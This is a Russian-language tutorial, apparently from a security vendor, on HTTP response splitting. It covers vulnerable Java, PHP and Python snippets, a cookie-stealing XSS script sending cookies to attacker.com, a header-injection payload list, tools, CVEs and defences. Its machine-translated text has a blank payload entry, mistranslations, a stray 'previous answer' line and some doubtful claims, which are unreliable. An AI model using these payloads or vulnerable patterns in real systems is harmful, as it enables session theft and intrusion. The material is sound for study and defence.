21 Фев, 2023

Разделение HTTP-ответа

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Разделение HTTP-ответа это уязвимость веб-безопасности, которая позволяет злоумышленнику вводить дополнительные HTTP-заголовки и данные в ответ сервера. Это может привести к целому ряду атак, таких как межсайтовый скриптинг (XSS), отравление кэша и перехват сеанса.

Уязвимость возникает, когда веб-приложение неправильно очищает пользовательский ввод, используемый для создания заголовков HTTP-ответа. Злоумышленник может воспользоваться этим, отправив специально созданные входные данные, включающие разрывы строк или возвраты каретки, которые могут быть интерпретированы сервером как отдельный заголовок или ответ.

Пример уязвимого кода на разных языках программирования:


в Java:

				
					String data = request.getParameter("data");
response.addHeader("Set-Cookie", "session-id=" + data);

				
			


В этом фрагменте кода Java data переменная берется из пользовательского ввода и не обрабатывается должным образом. Злоумышленник может отправить запрос со специально созданным data параметр, содержащий разрывы строк, которые могут быть интерпретированы сервером как отдельные заголовки.

• в PHP:

				
					$data = $_GET['data'];
header('Set-Cookie: session-id=' . $data);

				
			


Этот фрагмент кода PHP похож на приведенный выше пример Java. В data переменная берется из $_GET массив и не очищен должным образом. Злоумышленник может отправить запрос со специально созданным data параметр, содержащий разрывы строк, которые могут быть интерпретированы сервером как отдельные заголовки.

• в Python:

				
					from http.server import HTTPServer, BaseHTTPRequestHandler

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        data = self.path.split('?')[1]
        self.send_header('Set-Cookie', 'session-id=' + data)
        self.end_headers()

httpd = HTTPServer(('localhost', 8000), MyHandler)
httpd.serve_forever()

				
			


В этом фрагменте кода Python data переменная берется из строки запроса запроса GET и не обрабатывается должным образом. Злоумышленник может отправить запрос со специально созданной строкой запроса, содержащей разрывы строк, которые сервер может интерпретировать как отдельные заголовки.

Примеры использования разделения HTTP-ответов

Пример 1: Отравление кэша

Злоумышленник может использовать разделение HTTP-ответа, чтобы внедрить поддельный заголовок cache-control в ответ сервера. Это может привести к неправильному кэшированию ответа промежуточным кэшем, таким как прокси-сервер или CDN. Затем злоумышленник может отправить последующий запрос с тем же заголовком, в результате чего будет возвращен кэшированный ответ и потенциально будет раскрыта конфиденциальная информация.

Пример 2: Межсайтовый скриптинг (XSS)

Злоумышленник может использовать разделение HTTP-ответа, чтобы внедрить вредоносный скрипт в ответ сервера. Это может привести к запуску скрипта браузером пользователя, что позволит злоумышленнику украсть конфиденциальную информацию или выполнить другие вредоносные действия.

Например, злоумышленник может ввести в ответ следующий сценарий:

				
					<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

				
			


Когда браузер пользователя выполняет скрипт, он перенаправляет на сайт злоумышленника и отправляет файл cookie сеанса пользователя в качестве параметра.

Пример 3: Перехват сеанса

Злоумышленник может использовать разделение HTTP-ответа, чтобы ввести поддельный идентификатор сеанса в ответ сервера. Это может привести к тому, что браузер пользователя будет использовать поддельный идентификатор сеанса для последующих запросов, позволяя злоумышленнику перехватить сеанс пользователя и выполнять действия от его имени.

Например, злоумышленник может ввести в ответ следующий заголовок:

				
					Set-Cookie: session-id=attacker_session_id\r\nLocation: http://target.com/homepage.html

				
			


Когда браузер пользователя следует заголовку Местоположения, он будет использовать идентификатор сеанса злоумышленника для последующих запросов к целевому сайту.

Методы повышения привилегий для Разделение HTTP-ответа

Перехват сеанса

Как я упоминал в своем предыдущем ответе, злоумышленник может использовать разделение HTTP-ответа, чтобы ввести поддельный идентификатор сеанса в ответ сервера. Если сервер неправильно проверяет идентификатор сеанса, злоумышленник может использовать поддельный идентификатор сеанса, чтобы перехватить сеанс пользователя и выполнять действия от его имени, включая действия, требующие повышенных привилегий.

Межсайтовый скриптинг (XSS)

Если злоумышленник может внедрить вредоносный скрипт в ответ сервера, используя разделение HTTP-ответа, он потенциально может использовать этот скрипт для кражи файла cookie сеанса пользователя или выполнения других действий, требующих повышенных привилегий.

Если пользователь, у которого был украден файл cookie сеанса, имеет повышенные привилегии, злоумышленник может использовать украденный файл cookie для выполнения действий от имени жертвы, включая действия, требующие повышенных привилегий.

Отравление кэша

Как я упоминал ранее, злоумышленник может использовать разделение HTTP-ответа для введения поддельного заголовка cache-control в ответ сервера, в результате чего ответ будет неправильно кэшироваться промежуточным кэшем.

Если кэшируемый ответ содержит содержимое, которое обычно доступно только пользователям с повышенными привилегиями, злоумышленник может затем извлечь это кэшированное содержимое и просмотреть его, потенциально получив доступ к конфиденциальной информации.

Общая методология и контрольный список для разделения HTTP-ответов

Методология:

  1. Определите точки входа: Определите точки входа, где пользовательский ввод принимается и обрабатывается. Эти точки входа включают любые параметры или данные, которые могут быть отправлены в HTTP-запросе, такие как параметры запроса, данные формы или файлы cookie.

  2. Отправка входных данных, которые могут быть использованы для ввода заголовков: Отправьте входные данные в определенные точки ввода, которые включают такие символы, как перевод строки (\n) или возврат каретки (\r). Эти символы можно использовать для добавления дополнительных заголовков в ответ.

  3. Проверьте ответ: Проверьте заголовки ответов, чтобы узнать, были ли входные данные включены в какие-либо заголовки. Если входные данные были включены в заголовки ответов, это может указывать на уязвимость к разделению HTTP-ответов.

  4. Подтвердите уязвимость: Если обнаружена потенциальная уязвимость, подтвердите ее, попытавшись ввести полный заголовок, который может привести к неожиданному поведению сервера. Например, введение поддельного заголовка “Местоположение”, который приводит к перенаправлению пользователя на другой сайт, может подтвердить уязвимость.

  5. Сообщить об уязвимости: Если уязвимость подтверждена, сообщите о ней соответствующим сторонам, чтобы ее можно было устранить и устранить.

Контрольный список:

  1. Определите все места в приложении, где принимается пользовательский ввод, включая любые параметры, которые могут быть отправлены в HTTP-запросе, такие как параметры запроса, данные формы и файлы cookie.

  2. Проверьте каждую точку ввода пользователя, введя данные, содержащие символы новой строки, символы возврата каретки и другие специальные символы. Это может помочь определить, правильно ли приложение проверяет вводимые пользователем данные и предотвращает атаки с разделением HTTP-ответов.

  3. Протестируйте приложение, чтобы убедиться, что оно правильно очищает выходные данные, что может помочь предотвратить внедрение злоумышленниками вредоносных заголовков в ответ сервера.

  4. Протестируйте приложение, чтобы убедиться, что оно правильно обрабатывает HTTP-заголовки, включая проверку того, правильно ли они сформированы и не подвержены манипуляциям.

  5. Проверьте, является ли приложение уязвимым для заражения кэша, отправив запрос, содержащий поддельный заголовок cache-control, и проверив, неправильно ли кэшируется ответ промежуточным кэшем.

  6. Проверьте, является ли приложение уязвимым для перехвата сеанса, попытавшись ввести поддельный идентификатор сеанса в ответ и посмотреть, принимает ли сервер его и связывает с сеансом пользователя.

  7. Проверьте, является ли приложение уязвимым для межсайтового скриптинга, попытавшись внедрить вредоносный скрипт в ответ сервера, используя разделение HTTP-ответа.

  8. Если есть подозрение на уязвимость, подтвердите ее, попытавшись использовать ее в контролируемой среде. Это может помочь убедиться в том, что уязвимость является реальной, а не ложноположительной.

  9. Сообщайте о любых подтвержденных уязвимостях соответствующим сторонам, чтобы их можно было устранить и исправить.

Набор инструментов для эксплуатации Разделение HTTP-ответа

Автоматизированные инструменты:

  • Burp Suite – Популярный инструмент тестирования безопасности веб-приложений, который можно использовать для поиска и использования уязвимостей разделения HTTP-ответов. Burp Suite может автоматически обнаруживать и сообщать об уязвимостях в веб-приложениях, а также включает в себя ряд инструментов ручного тестирования.

  • OWASP ZAP – Еще один популярный инструмент тестирования безопасности веб-приложений, который включает в себя инструменты автоматического сканирования и ручного тестирования. OWASP ZAP может использоваться для обнаружения и использования уязвимостей разделения HTTP-ответов, а также ряда других уязвимостей веб-приложений.

  • Nikto – Сканер веб-приложений с открытым исходным кодом, который можно использовать для выявления ряда уязвимостей, включая разделение HTTP-ответов. Nikto может выполнять как ручное, так и автоматическое тестирование и генерировать подробные отчеты.

  • Acunetix – Сканер безопасности веб-приложений, который можно использовать для выявления ряда уязвимостей, включая разделение HTTP-ответов. Acunetix включает в себя как автоматические, так и ручные инструменты тестирования и может генерировать подробные отчеты.

  • Nessus – Сканер уязвимостей, который можно использовать для выявления ряда уязвимостей, включая разделение HTTP-ответов. Nessus включает в себя как автоматические, так и ручные инструменты тестирования и может генерировать подробные отчеты.

  • OpenVAS – Сканер уязвимостей с открытым исходным кодом, который можно использовать для выявления ряда уязвимостей, включая разделение HTTP-ответов. OpenVAS включает в себя как автоматические, так и ручные инструменты тестирования и может генерировать подробные отчеты.

  • AppSpider – Сканер веб-приложений, который можно использовать для выявления ряда уязвимостей, включая разделение HTTP-ответов. AppSpider включает в себя как автоматические, так и ручные инструменты тестирования и может генерировать подробные отчеты.

  • QualysGuard – Облачный сканер уязвимостей, который можно использовать для выявления ряда уязвимостей, включая разделение ответов HTTP. QualysGuard включает в себя как автоматические, так и ручные инструменты тестирования и может генерировать подробные отчеты.

  • IBM AppScan – Сканер безопасности веб-приложений, который можно использовать для выявления ряда уязвимостей, включая разделение HTTP-ответов. IBM AppScan включает в себя как автоматические, так и ручные средства тестирования и может создавать подробные отчеты.

  • WebInspect – Сканер безопасности веб-приложений, который можно использовать для выявления ряда уязвимостей, включая разделение HTTP-ответов. WebInspect включает в себя как автоматические, так и ручные инструменты тестирования и может генерировать подробные отчеты.

Ручные Инструменты:

  • cURL – Инструмент командной строки, который можно использовать для отправки HTTP-запросов и проверки уязвимостей разделения HTTP-ответов. cURL можно использовать для управления HTTP-заголовками и проверки ответов сервера.

  • Netcat – Еще один инструмент командной строки, который можно использовать для отправки HTTP-запросов и проверки уязвимостей разделения HTTP-ответов. Netcat можно использовать для управления HTTP-заголовками и проверки ответов сервера.

  • Telnet – Инструмент командной строки, который можно использовать для подключения к веб-серверу и ручной отправки HTTP-запросов. Telnet можно использовать для проверки уязвимостей разделения HTTP-ответов путем манипулирования HTTP-заголовками и проверки ответов сервера.

  • Firefox Tamper Data – Плагин для браузера, который можно использовать для перехвата и изменения HTTP-запросов и ответов. Данные несанкционированного доступа можно использовать для проверки уязвимостей разделения HTTP-ответов путем манипулирования HTTP-заголовками и проверки ответов сервера.

  • Chrome DevTools – Набор инструментов разработчика, которые можно использовать для проверки и отладки веб-приложений. Chrome DevTools можно использовать для проверки уязвимостей разделения HTTP-ответов путем манипулирования HTTP-заголовками и проверки ответов сервера.

  • BeeF – Платформа для работы с браузером, которая может использоваться для проверки уязвимостей разделения HTTP-ответов в веб-приложениях. BeeF может использоваться для перехвата и изменения HTTP-запросов и ответов, а также для выполнения других типов атак.

  • Wget – Инструмент командной строки, который можно использовать для извлечения файлов и веб-страниц с веб-серверов. Wget можно использовать для проверки уязвимостей разделения HTTP-ответов путем манипулирования HTTP-заголовками и проверки ответов сервера.

  • Fiddler – Прокси-сервер для веб-отладки, который можно использовать для перехвата и изменения HTTP-запросов и ответов. Fiddler можно использовать для проверки уязвимостей разделения HTTP-ответов путем манипулирования HTTP-заголовками и проверки ответов сервера.

  • HTTPDebugger – Прокси-сервер для веб-отладки, который можно использовать для перехвата и изменения HTTP-запросов и ответов. HTTPDebugger можно использовать для проверки уязвимостей разделения HTTP-ответов путем манипулирования HTTP-заголовками и проверки ответов сервера.

  • OWASP WebScarab – Инструмент тестирования веб-приложений, который можно использовать для проверки уязвимостей разделения HTTP-ответов, а также ряда других уязвимостей веб-приложений. WebScarab включает в себя как автоматические, так и ручные инструменты тестирования.

  • ModSecurity – Брандмауэр веб-приложений, который может использоваться для обнаружения и предотвращения атак с разделением HTTP-ответов. ModSecurity можно настроить для проверки HTTP-заголовков и предотвращения попадания любых вредоносных запросов в веб-приложение.

  • sqlmap – Инструмент, который можно использовать для выявления и использования уязвимостей SQL-инъекций в веб-приложениях. Уязвимости SQL-инъекций могут использоваться для манипулирования HTTP-ответами и потенциально запускать атаки с разделением HTTP-ответов.

  • Metasploit – Платформа тестирования на проникновение, которая может использоваться для проверки ряда уязвимостей, включая разделение HTTP-ответов. Metasploit включает в себя ряд инструментов автоматического и ручного тестирования и может генерировать подробные отчеты.

Средний балл CVSS Разделение HTTP-ответов стека

Общая система оценки уязвимостей (CVSS) представляет собой стандартизированную систему оценки серьезности уязвимостей в системе безопасности. Оценка CVSS учитывает ряд факторов, включая простоту использования, потенциальное влияние успешной атаки и доступность исправления или обходного пути.

Оценка CVSS для уязвимости с разделением HTTP-ответа будет зависеть от ряда факторов, включая серьезность воздействия, которого злоумышленник может достичь в результате успешной атаки, вероятность успешной эксплуатации и сложность устранения уязвимости.

Поскольку разделение HTTP-ответов может использоваться для манипулирования заголовками HTTP-ответов веб-приложения и их отравления, это потенциально может привести к ряду различных последствий, таких как перехват сеанса, кража данных или внедрение вредоносного кода в браузер жертвы.

В целом, оценка CVSS для уязвимости с разделением HTTP-ответа, вероятно, будет средней или высокой степени серьезности, в зависимости от конкретных обстоятельств уязвимости. Однако оценка CVSS может значительно варьироваться в зависимости от конкретного воздействия уязвимости, вероятности успешной эксплуатации и простоты смягчения последствий.

Общее перечисление слабых мест (CWE)

• CWE-113: разделение ответа HTTP: CWE-113 конкретно описывает уязвимость разделения ответа HTTP. Это происходит, когда злоумышленник может ввести символ новой строки в HTTP-ответ, что может позволить ему вводить произвольные HTTP-заголовки и потенциально манипулировать сеансами пользователей или перенаправлять пользователей на вредоносные сайты.

• CWE-807: Зависимость от ненадежных входных данных при принятии решения о безопасности: этот CWE описывает уязвимость, которая может возникнуть, когда веб-приложение полагается на ненадежные входные данные для принятия решений о безопасности, таких как решение о предоставлении доступа к ресурсу или разрешении определенного действия. Это может позволить злоумышленнику манипулировать входными данными таким образом, чтобы нарушить решение о безопасности и получить несанкционированный доступ.

• CWE-444: Непоследовательная интерпретация HTTP-запросов ("Контрабанда HTTP-запросов"): этот CWE описывает уязвимость, при которой веб-приложение непоследовательно интерпретирует HTTP-запросы, что может привести к ряду различных эксплойтов, включая разделение HTTP-ответов.

• CWE-352: Подделка межсайтовых запросов (CSRF): в этом CWE описывается уязвимость, возникающая, когда веб-приложение неправильно проверяет пользовательские запросы, что может позволить злоумышленнику выполнять несанкционированные запросы от имени пользователя-жертвы.

• CWE-613: Недостаточный срок действия сеанса: этот CWE описывает уязвимость, возникающую, когда веб-приложение неправильно управляет сеансами пользователей, что может позволить злоумышленнику перехватить активный сеанс пользователя и получить несанкционированный доступ к веб-приложению.

• CWE-614: конфиденциальный файл cookie в сеансе HTTPS без атрибута ‘Secure’: этот CWE описывает уязвимость, возникающую, когда веб-приложение неправильно устанавливает атрибут ‘secure’ для конфиденциальных файлов cookie, что может позволить злоумышленнику перехватить и украсть файл cookie с помощью атаки "человек посередине".

• CWE-522: Недостаточно защищенные учетные данные: этот CWE описывает уязвимость, которая возникает, когда веб-приложение не защищает должным образом учетные данные пользователя, такие как пароли или другие конфиденциальные данные. Это может позволить злоумышленнику украсть или угадать учетные данные и получить несанкционированный доступ к веб-приложению.

• CWE-319: Передача конфиденциальной информации открытым текстом: этот CWE описывает уязвимость, возникающую, когда конфиденциальная информация передается открытым текстом без шифрования, что может позволить злоумышленнику перехватить и украсть информацию.

Топ-10 CVE, связанных с разделением HTTP-ответов

• CVE-2022-42472 – Неправильная нейтрализация последовательностей crlf в заголовках http ("разделение http-ответа’) в Fortinet FortiOS версий с 7.2.0 по 7.2.2, с 7.0.0 по 7.0.8, с 6.4.0 по 6.4.11, с 6.2.0 по 6.2.12, с 6.0.0 по 6.0.16, FortiProxy с 7.2.0 по 7.2.1, с 7.0.0 по 7.0.7, с 2.0.0 по 2.0.10, с 1.2.0 по 1.2.13, с 1.1.0 по 1.1.6 может позволить аутентифицированному и удаленному злоумышленнику выполнить атаку с разделением HTTP-запроса, которая дает злоумышленникам контроль над оставшимися заголовками и телом ответа.

• CVE-2022-42471 – Уязвимость неправильной нейтрализации последовательностей CRLF в заголовках HTTP (‘Разделение ответа HTTP’) [CWE-113] В FortiWeb версий с 7.0.0 по 7.0.2, FortiWeb версий с 6.4.0 по 6.4.2, FortiWeb версий с 6.3.6 по 6.3.20 может позволить аутентифицированному и удаленному злоумышленнику вводить произвольные заголовки.

• CVE-2022-41915 – Netty project is an event-driven asynchronous network application framework. Starting in version 4.1.83.Final and prior to 4.1.86.Final, when calling `DefaultHttpHeadesr.set` with an _iterator_ of values, header value validation was not performed, allowing malicious header values in the iterator to perform HTTP Response Splitting. This issue has been patched in version 4.1.86.Final. Integrators can work around the issue by changing the `DefaultHttpHeaders.set(CharSequence, Iterator<?>)` call, into a `remove()` call, and call `add()` in a loop over the iterator of values.

• CVE-2022-37953 – An HTTP response splitting vulnerability exists in the AM Gateway Challenge-Response dialog of WorkstationST (<v07.09.15) and could allow an attacker to compromise a victim’s browser/session. WorkstationST is only deployed in specific, controlled environments rendering attack complexity significantly higher than if the attack were conducted on the software in isolation. WorkstationST v07.09.15 can be found in ControlST v07.09.07 SP8 and greater.

• CVE-2022-37242 – MDaemon Technologies SecurityGateway для почтовых серверов 8.5.2, уязвим для разделения HTTP-ответа с помощью параметра data.

• CVE-2022-37240 – MDaemon Technologies SecurityGateway для почтовых серверов 8.5.2 уязвим для разделения HTTP-ответа с помощью параметра format.

• CVE-2022-20772 – Уязвимость в Cisco Email Security Appliance (ESA) и Cisco Secure Email and Web Manager может позволить удаленному злоумышленнику, не прошедшему проверку подлинности, провести атаку с разделением HTTP-ответа. Эта уязвимость возникает из-за неспособности приложения или его среды должным образом очистить входные значения. Злоумышленник может воспользоваться этой уязвимостью, внедрив вредоносные HTTP-заголовки, управляя телом ответа или разделив ответ на несколько ответов.

• CVE-2021-45818 – SAFARI Montage 8.7.32 подвержен уязвимости внедрения CRLF, которая может привести к разделению HTTP-ответа.

• CVE-2021-41437 – Атака с разделением HTTP-ответа в веб-приложении в ASUS RT-AX88U до версии v3.0.0.4.388.20558 позволяет злоумышленнику создать определенный URL-адрес, который, если его посетит аутентифицированная жертва, предоставит доступ к облачному хранилищу злоумышленника.

• CVE-2021-41084 – http4s - это интерфейс scala с открытым исходным кодом для HTTP. В затронутых версиях http4s уязвим для атак с разделением ответов или запросов, когда для создания любого из следующих полей используется ненадежный пользовательский ввод: Имена заголовков (`Header.name `å), значения заголовка (`Header.value`), фразы причины состояния (`Status.reason`), Пути URI (`Uri.Path`), зарегистрированные имена URI authority (`URI.RegName`) (через 0.21). Эта проблема была решена в версиях 0.21.30, 0.22.5, 0.23.4 и 1.0.0-M27 выполните следующие действия. На практике службы http4s и клиентские приложения должны очищать любой пользовательский ввод в вышеупомянутые поля, прежде чем возвращать запрос или ответ серверной части. Возврат каретки, символ новой строки и нулевые символы являются наиболее опасными.

Разделение HTTP-ответа подвиги

  • Внедрение заголовка HTTP-ответа: Этот эксплойт включает внедрение вредоносных заголовков HTTP-ответов в ответ веб-приложения, что может позволить злоумышленнику перехватывать сеансы пользователей или перенаправлять пользователей на вредоносные сайты.

  • Отравление кэша: Этот эксплойт включает в себя манипулирование заголовками HTTP-ответов для отравления кэша веб-приложения. Это может позволить злоумышленнику использовать вредоносный контент из кэша, потенциально ставя под угрозу безопасность веб-приложения.

  • Контрабанда HTTP-запросов: Этот эксплойт использует преимущества непоследовательного анализа HTTP-запросов интерфейсными и серверными серверами. Он включает в себя вставку мошеннического HTTP-запроса в законный запрос, что может позволить злоумышленнику обойти средства контроля безопасности и выполнять несанкционированные действия.

  • Инъекция печенья: Этот эксплойт включает в себя внедрение вредоносного файла cookie в ответ веб-приложения, который может позволить злоумышленнику перехватывать сеансы пользователей или красть конфиденциальную информацию.

  • Манипулирование URL-адресами: Этот эксплойт включает в себя манипулирование URL-адресом веб-приложения для внедрения вредоносного кода в заголовки HTTP-ответов, что может позволить злоумышленнику перехватывать сеансы пользователей или перенаправлять пользователей на вредоносные сайты.

  • Межсайтовый скриптинг (XSS): Хотя XSS не имеет прямого отношения к разделению ответов HTTP, он может использоваться в сочетании с разделением ответов HTTP для внедрения вредоносного кода в заголовки ответов веб-приложения.

Практикуясь в тестировании на Разделение HTTP-ответа

  1. Определите приложение или веб-сервер, который вы хотите протестировать на разделение HTTP-ответов.

  2. Определите точки входа в приложение, такие как поля ввода или URL-адреса.

  3. Отправьте запрос в приложение, которое содержит параметр или поле ввода, уязвимое для разделения HTTP-ответа.

  4. Проанализируйте заголовки HTTP-ответов, чтобы узнать, есть ли какие-либо дополнительные заголовки, которые были введены злоумышленником.

  5. Если обнаружены дополнительные заголовки, попробуйте манипулировать ими, чтобы узнать, можно ли перехватить сеанс пользователя или перенаправить его на вредоносный сайт.

  6. Повторите этот процесс с другими полями ввода и параметрами, чтобы узнать, сможете ли вы выявить другие уязвимости.

Для изучения Разделения HTTP-ответов

OWASP Топ-10: это список наиболее критических угроз безопасности веб-приложений, и разделение HTTP-ответов включено в этот список. Веб-сайт OWASP содержит подробную информацию об уязвимостях и способах их предотвращения.

Руководство хакера веб-приложений: Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений и включает в себя главу о разделении HTTP-ответов. В нем содержится подробная информация о том, как работает уязвимость, а также методы ее тестирования и использования.

Онлайн-курсы: Существует множество доступных онлайн-курсов, посвященных безопасности веб-приложений и, в частности, разделению ответов HTTP. Некоторые популярные варианты включают курс тестирования веб-приложений на проникновение на Udemy и курс этического взлома на Coursera.

Онлайн-учебные пособия и руководства: Существует множество онлайн-руководств и руководств, посвященных разделению ответов HTTP и другим уязвимостям веб-приложений. Веб-сайт OWASP предоставляет широкий спектр ресурсов, включая учебные пособия и шпаргалки.

Конференции и семинары: Посещение конференций и семинаров по безопасности веб-приложений может стать отличным способом узнать больше о разделении HTTP-ответов и других уязвимостях. Некоторые популярные мероприятия включают конференции Black Hat, DEF CON и OWASP.

Книги с обзором разделения HTTP-ответов

“Руководство хакера веб-приложений: поиск и использование недостатков безопасности” Дэфидд Штуттард и Маркус Пинто – Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений, включая разделение ответов HTTP.

“Запутанная сеть: руководство по обеспечению безопасности современных веб-приложений” Михал Залевский – В этой книге представлен подробный обзор безопасности веб-приложений, включая риски разделения HTTP-ответов.

“Взломанные веб-приложения: Секреты и решения безопасности веб-приложений” автор: Джоэл Скамбрей, Майк Шема и Калеб Сима – Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений, включая разделение ответов HTTP.

“Веб-безопасность для разработчиков: реальные угрозы, практическая защита” Малкольм Макдональд и Джеймс Д. Браун – Эта книга представляет собой практическое руководство по безопасности веб-приложений, включая разделение HTTP-ответов.

“Искусство оценки безопасности программного обеспечения: выявление и предотвращение уязвимостей программного обеспечения” автор: Марк Дауд, Джон Макдональд и Джастин Шух – Эта книга представляет собой всеобъемлющее руководство по безопасности программного обеспечения, включая безопасность веб-приложений и разделение HTTP-ответов.

“Пуленепробиваемый SSL и TLS: понимание и развертывание SSL / TLS и PKI для защиты серверов и веб-приложений” Иван Ристич – В этой книге содержится подробное руководство по безопасности SSL / TLS, в том числе о том, как предотвратить атаки с разделением HTTP-ответов.

“Основы веб-взлома: инструменты и методы для атаки в Интернете” автор: Джош Паули – Эта книга представляет собой руководство для начинающих по взлому веб-приложений, включая разделение HTTP-ответов.

“Кулинарная книга защитника веб-приложений: борьба с хакерами и защита пользователей” Райан К. Барнетт – Эта книга представляет собой практическое руководство по безопасности веб-приложений, включая разделение HTTP-ответов.

“Освоение современного веб-тестирования на проникновение” автор: Пракхар Прасад – Эта книга представляет собой всеобъемлющее руководство по тестированию безопасности веб-приложений, в том числе по выявлению и использованию уязвимостей, связанных с разделением HTTP-ответов.

“Расширенное тестирование веб-приложений на проникновение с помощью Burp Suite” автор: Sunny Wear – Эта книга представляет собой практическое руководство по тестированию веб-приложений на проникновение с использованием Burp Suite, в том числе по тестированию уязвимостей разделения HTTP-ответов.

Список полезных нагрузок Разделение HTTP-ответов

  • – это представление последовательности CRLF в кодировке URL, которое используется для создания новых строк в заголовках HTTP. Он обычно используется в атаках с разделением HTTP-ответов.

  • Content-Длина: 0 – Эта полезная нагрузка может использоваться для создания пустого ответа, который завершает исходный ответ и создает новый HTTP-ответ.

  • Set-Cookie: session_id=злоумышленник – эта полезная нагрузка может использоваться для установки нового значения cookie для сеанса жертвы, позволяя злоумышленнику перехватить сеанс.

  • Refresh: 0;url=http://attacker.com – Эта полезная нагрузка может быть использована для перенаправления жертвы на вредоносный веб-сайт.

  • %0 Расположение: http://attacker.com – Эта полезная нагрузка может быть использована для перенаправления жертвы на вредоносный веб-сайт.

  • X-XSS-Protection: 0 – Эта полезная нагрузка может использоваться для отключения XSS-защиты жертвы в браузере, облегчая злоумышленнику запуск дополнительных атак.

  • Content-Type: текст / html – эта полезная нагрузка может использоваться для изменения типа содержимого ответа, позволяя злоумышленнику вводить HTML или другой вредоносный контент.

  • Set-Cookie: session_id=злоумышленник; HttpOnly – эта полезная нагрузка может использоваться для установки нового значения cookie для сеанса жертвы с установленным флагом HttpOnly для предотвращения доступа JavaScript к cookie.

  • Set-Cookie: session_id= злоумышленник; Безопасный – эта полезная нагрузка может использоваться для установки нового значения cookie для сеанса жертвы с установленным флагом Secure, чтобы предотвратить передачу cookie по незашифрованным соединениям.

  • User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, как Gecko) Chrome / 58.0.3029.110 Safari / 537.3 – эта полезная нагрузка может использоваться для изменения заголовка пользовательского агента ответа, позволяя злоумышленнику обойти определенные проверки безопасности или фильтры.

Как быть защищенным от разделения HTTP-ответов

  1. Обновляйте программное обеспечение и приложения вашего веб-сервера с помощью последних исправлений безопасности.

  2. Используйте методы безопасного кодирования при разработке веб-приложений и избегайте использования пользовательских входных данных непосредственно в заголовках HTTP.

  3. Внедрите проверку и очистку входных данных, чтобы предотвратить внедрение вредоносных данных в HTTP-заголовки.

  4. Используйте брандмауэр веб-приложений (WAF) для фильтрации вредоносного трафика и блокирования известных атак с разделением HTTP-ответов.

  5. Включите и используйте флаги Secure и HttpOnly для файлов cookie, чтобы предотвратить захват файлов cookie и другие атаки.

  6. Используйте HTTPS для шифрования сообщений между клиентом и сервером и избегайте смешивания трафика HTTP и HTTPS.

  7. Используйте политики безопасности содержимого (CSP) для управления источниками содержимого, которое может быть загружено на веб-страницу, и для предотвращения выполнения вредоносных сценариев.

  8. Регулярно проверяйте свои веб-приложения на наличие уязвимостей и слабых мест с помощью автоматических инструментов или ручного тестирования.

  9. Внедрите надлежащие методы управления сеансами, такие как тайм-ауты сеансов и регенерация, чтобы снизить риск перехвата сеанса.

  10. Обучайте разработчиков и другие заинтересованные стороны рискам и передовым методам, связанным с разделением ответов HTTP, а также регулярно просматривайте и обновляйте политики и процедуры безопасности, чтобы убедиться, что они остаются эффективными.

Меры по смягчению последствий разделения HTTP-ответов

  1. Убедитесь, что пользовательский ввод правильно отформатирован и не содержит каких-либо вредоносных данных, прежде чем использовать его в заголовках HTTP.

  2. Правильно кодируйте все выходные данные, чтобы предотвратить попадание вредоносных данных в HTTP-заголовки.

  3. Избегайте использования пользовательских входных данных непосредственно в заголовках HTTP.

  4. WAF может отфильтровывать вредоносный трафик и блокировать известные атаки с разделением HTTP-ответов.

  5. Эти флаги помогают предотвратить захват файлов cookie и другие атаки.

  6. Протокол HTTPS шифрует сообщения между клиентом и сервером и помогает предотвратить перехват или изменение трафика злоумышленниками.

  7. CSP контролирует источники контента, который может быть загружен на веб-страницу, и помогает предотвратить выполнение вредоносных сценариев.

  8. Внедрите надлежащие методы управления сеансами, такие как тайм-ауты сеансов и регенерация, чтобы снизить риск перехвата сеанса.

  9. Используйте автоматические инструменты или ручное тестирование для регулярной проверки веб-приложений на наличие уязвимостей и слабых мест.

  10. Применяйте исправления и обновления безопасности для обеспечения безопасности программного обеспечения и приложений веб-сервера.

Заключение

Разделение HTTP-ответа это уязвимость веб-приложения, которая позволяет злоумышленнику вводить произвольные HTTP-заголовки в ответ веб-сервера. Это может привести к целому ряду атак, таких как перехват сеанса, перехват файлов cookie и фишинг.

Атаки с разделением HTTP-ответов можно предотвратить, следуя методам безопасного кодирования, проверки входных данных, кодирования выходных данных и реализации брандмауэров веб-приложений, методов безопасного управления сеансами и использования HTTPS. Регулярное сканирование веб-приложений на наличие уязвимостей и слабых мест, а также обновление программного обеспечения и приложений веб-сервера с помощью исправлений безопасности также являются важными мерами по устранению этой уязвимости.

Разработчикам и администраторам веб-сайтов важно знать о рисках, связанных с разделением ответов HTTP, и принимать соответствующие меры для защиты от этой уязвимости. Внедряя соответствующие меры безопасности, организации могут снизить риск атак с разделением ответов HTTP и защитить свои веб-приложения и пользователей от вреда.

Другие Услуги

Готовы к безопасности?

Связаться с нами